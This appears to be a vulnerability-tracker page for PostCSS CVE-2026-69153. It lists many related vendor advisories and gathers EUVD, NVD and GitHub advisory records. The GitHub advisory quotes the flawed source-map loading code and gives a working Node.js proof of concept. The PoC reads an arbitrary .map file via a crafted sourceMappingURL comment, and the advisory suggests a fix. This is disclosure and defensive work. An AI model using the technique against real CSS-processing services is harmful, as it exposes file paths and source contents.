CVE-2026-12564 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-54284 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-59893 · CVE-2026-67214 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67325 · CVE-2026-69153 · CVE-2026-71458 · CVE-2026-71459 · CVE-2026-71460 · CVE-2026-71462 · CVE-2026-71463 · CVE-2026-71464 · CVE-2026-71465 · CVE-2026-71491 · CVE-2026-73086 · CVE-2026-75838 · CVE-2026-75884 · CVE-2026-78679 · CVE-2026-84375 · CVE-2026-84470 · CVE-2026-84474 · CVE-2026-84486 · CVE-2026-84499 · CVE-2026-84502 · CVE-2026-84638 · CVE-2026-84643 · CVE-2026-84644 · CVE-2026-84679 · CVE-2026-84680 · CVE-2026-84683 · CVE-2026-84684 · CVE-2026-84686 · CVE-2026-84689 · CVE-2026-84691 · CVE-2026-84692 · CVE-2026-84703 · CVE-2026-84706 · CVE-2026-84707 · CVE-2026-84708 · CVE-2026-84709 · CVE-2026-84711 · CVE-2026-84712 · CVE-2026-84714 · CVE-2026-84716 · CVE-2026-84717 · CVE-2026-84718 · CVE-2026-84719 · CVE-2026-84720 · CVE-2026-84724 · CVE-2026-87817 · CVE-2026-87819
RHSA-2026:57191: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.16.3 security update
CVE-2026-13676 · CVE-2026-14362 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-33377 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-42151 · CVE-2026-42502 · CVE-2026-42504 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44740 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-46384 · CVE-2026-46385 · CVE-2026-53488 · CVE-2026-59869 · CVE-2026-66799 · CVE-2026-66804 · CVE-2026-69153 · CVE-2026-73086
RHSA-2026:85846: Red Hat Security Advisory: Migration Toolkit for Containers (MTC) 1.8.18 security and bug fix update
CVE-2026-33186 · CVE-2026-59879 · CVE-2026-69153 · CVE-2026-84445 · CVE-2026-87776 · CVE-2026-88031 · CVE-2026-90711 · CVE-2026-92599 · CVE-2026-93749
RHSA-2026:87410: Red Hat Security Advisory: RHOAI 2.25.12 - Red Hat OpenShift AI
CVE-2024-12224 · CVE-2025-14920 · CVE-2025-14921 · CVE-2025-14924 · CVE-2025-14925 · CVE-2025-14926 · CVE-2025-14927 · CVE-2025-14928 · CVE-2025-14929 · CVE-2025-14930 · CVE-2025-61726 · CVE-2025-61729 · CVE-2026-5241 · CVE-2026-5497 · CVE-2026-6734 · CVE-2026-8643 · CVE-2026-9697 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-12151 · CVE-2026-12860 · CVE-2026-15143 · CVE-2026-15574 · CVE-2026-15679 · CVE-2026-15925 · CVE-2026-16221 · CVE-2026-18427 · CVE-2026-18446 · CVE-2026-18949 · CVE-2026-19481 · CVE-2026-19484 · CVE-2026-19534 · CVE-2026-25681 · CVE-2026-25960 · CVE-2026-27136 · CVE-2026-28390 · CVE-2026-28684 · CVE-2026-31812 · CVE-2026-32283 · CVE-2026-33186 · CVE-2026-33805 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-34993 · CVE-2026-39821 · CVE-2026-39852 · CVE-2026-39892 · CVE-2026-40682 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-42561 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44660 · CVE-2026-44705 · CVE-2026-45820 · CVE-2026-47219 · CVE-2026-48526 · CVE-2026-48710 · CVE-2026-48746 · CVE-2026-49114 · CVE-2026-49825 · CVE-2026-49855 · CVE-2026-50559 · CVE-2026-54283 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56121 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-58059 · CVE-2026-59296 · CVE-2026-59879 · CVE-2026-59884 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-59899 · CVE-2026-62243 · CVE-2026-62384 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-65918 · CVE-2026-66007 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67312 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-68770 · CVE-2026-69097 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73415 · CVE-2026-73417 · CVE-2026-73502 · CVE-2026-73508 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-73627 · CVE-2026-73646 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76098 · CVE-2026-76169 · CVE-2026-76172 · CVE-2026-76222 · CVE-2026-76905 · CVE-2026-77354 · CVE-2026-77874 · CVE-2026-78676 · CVE-2026-78677 · CVE-2026-78679 · CVE-2026-78682 · CVE-2026-79674 · CVE-2026-79675 · CVE-2026-80205 · CVE-2026-81722 · CVE-2026-81724 · CVE-2026-81727 · CVE-2026-82397 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84782 · CVE-2026-84961 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85525 · CVE-2026-86049 · CVE-2026-86332 · CVE-2026-87776 · CVE-2026-87817 · CVE-2026-87819 · CVE-2026-88029 · CVE-2026-88031 · CVE-2026-89418 · CVE-2026-89425 · CVE-2026-91777 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93599 · CVE-2026-93657 · CVE-2026-93749 · CVE-2026-96749 · CVE-2026-102831 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-103262 · CVE-2026-104851 · CVE-2026-105744
openSUSE-SU-2026:12070-1: velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media
CVE-2025-0914 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-17535 · CVE-2026-18348 · CVE-2026-18636 · CVE-2026-18638 · CVE-2026-18639 · CVE-2026-18860 · CVE-2026-27601 · CVE-2026-29074 · CVE-2026-41650 · CVE-2026-45623 · CVE-2026-49356 · CVE-2026-5329 · CVE-2026-53550 · CVE-2026-55602 · CVE-2026-56852 · CVE-2026-59869 · CVE-2026-6290 · CVE-2026-64951 · CVE-2026-64952 · CVE-2026-64954 · CVE-2026-65903 · CVE-2026-65912 · CVE-2026-65913 · CVE-2026-65914 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-6863 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-6948 · CVE-2026-73086 · CVE-2026-73646 · CVE-2026-73650 · CVE-2026-7572 · CVE-2026-7573 · CVE-2026-84369 · CVE-2026-84370
RHSA-2026:70587: Red Hat Security Advisory: OpenShift Container Platform 4.17.58 bug fix and security update
CVE-2026-14362 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-42965 · CVE-2026-43003 · CVE-2026-44918 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-48801 · CVE-2026-54284 · CVE-2026-54423 · CVE-2026-56852 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-66138 · CVE-2026-69153 · CVE-2026-75885 · CVE-2026-75886 · CVE-2026-75887
RHSA-2026:50079: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
CVE-2026-69152 · CVE-2026-69153
msrc_CVE-2026-69153: PostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
CVE-2026-69153
RHSA-2026:59579: Red Hat Security Advisory: multicluster engine for Kubernetes v2.6.14 security update
CVE-2024-45336 · CVE-2025-22866 · CVE-2025-30204 · CVE-2026-10059 · CVE-2026-12143 · CVE-2026-19130 · CVE-2026-27145 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-42502 · CVE-2026-46597 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66806 · CVE-2026-66808 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269
RHSA-2026:59593: Red Hat Security Advisory: multicluster engine for Kubernetes v2.17.2 security update
CVE-2026-13676 · CVE-2026-19130 · CVE-2026-27145 · CVE-2026-39829 · CVE-2026-39835 · CVE-2026-44740 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-59869 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269
RHSA-2026:68334: Red Hat Security Advisory: Red Hat Edge Manager Version 1.1.4 Security Update
CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-33810 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39831 · CVE-2026-41178 · CVE-2026-42306 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-44740 · CVE-2026-46597 · CVE-2026-48050 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-69153 · CVE-2026-71556 · CVE-2026-81521
RHSA-2026:71179: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update
CVE-2025-57847 · CVE-2025-66418 · CVE-2026-12564 · CVE-2026-14257 · CVE-2026-15307 · CVE-2026-33818 · CVE-2026-42215 · CVE-2026-42284 · CVE-2026-42504 · CVE-2026-44244 · CVE-2026-49825 · CVE-2026-53488 · CVE-2026-53492 · CVE-2026-54284 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59877 · CVE-2026-59893 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67325 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69244 · CVE-2026-71458 · CVE-2026-71459 · CVE-2026-71460 · CVE-2026-71462 · CVE-2026-71463 · CVE-2026-71464 · CVE-2026-71465 · CVE-2026-71491 · CVE-2026-73086 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-75884 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76218 · CVE-2026-76219 · CVE-2026-76220 · CVE-2026-76221 · CVE-2026-76222 · CVE-2026-78676 · CVE-2026-78679 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84470 · CVE-2026-84474 · CVE-2026-84486 · CVE-2026-84499 · CVE-2026-84502 · CVE-2026-84638 · CVE-2026-84643 · CVE-2026-84644 · CVE-2026-84679 · CVE-2026-84680 · CVE-2026-84683 · CVE-2026-84684 · CVE-2026-84686 · CVE-2026-84689 · CVE-2026-84691 · CVE-2026-84692 · CVE-2026-84703 · CVE-2026-84706 · CVE-2026-84707 · CVE-2026-84708 · CVE-2026-84709 · CVE-2026-84711 · CVE-2026-84712 · CVE-2026-84714 · CVE-2026-84716 · CVE-2026-84717 · CVE-2026-84718 · CVE-2026-84719 · CVE-2026-84720 · CVE-2026-84724 · CVE-2026-85393 · CVE-2026-87817
RHSA-2026:63046: Red Hat Security Advisory: OpenShift Container Platform 4.21.32 bug fix and security update
CVE-2026-27136 · CVE-2026-33814 · CVE-2026-35469 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-69153 · CVE-2026-73566
RHSA-2026:50826: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67315 · CVE-2026-67316 · CVE-2026-67317 · CVE-2026-67318 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-69198
RHSA-2026:68754: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.1 Release.
CVE-2026-4800 · CVE-2026-45623 · CVE-2026-45819 · CVE-2026-47219 · CVE-2026-48801 · CVE-2026-54272 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59887 · CVE-2026-59899 · CVE-2026-67213 · CVE-2026-67312 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-71436 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73508 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-82562 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394
- Source published
- Aug 3, 2026, 4:56:25 PM (timezone not stated)
- Source modified
- Aug 3, 2026, 6:28:59 PM (timezone not stated)
- Saved here
- 13 Nov 2026 17:00:24 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-69153
PublishedPostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended sourc…
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-22 · CWE-200
Original publisher date fields
published: 2026-08-03T17:16:46.127
lastModified: 2026-08-05T14:58:45.517
1 source CPE criteria · context only
- cpe:2.3:a:postcss:postcss:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 3 Aug 2026 17:16:46 UTC
- Source modified
- 5 Aug 2026 14:58:45 UTC
- Saved here
- 25 Oct 2026 15:18:51 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
osv · GHSA-fxqj-rqcc-2cmp
PublishedPostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
## Summary The fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check. `PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map. ## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix) ```js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when `from` is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } } // loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy ``` ## Proof of concept (verified on postcss 8.5.22) ```js const postcss = require('postcss') const fs = require('fs') // a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secret_out_of_tree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [], sourcesContent: ['TOP_SECRET_abcdef'] })) const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef') ;(async () => { // A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true // B) WITH `from` -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })() ``` Observed output on postcss 8.5.22: ``` no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path ``` `../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix. ## Impact Arbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON. ## Suggested fix Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.
- Source published
- 3 Aug 2026 17:11:39 UTC
- Source modified
- 10 Sep 2026 03:50:53 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Publisher rating · MODERATE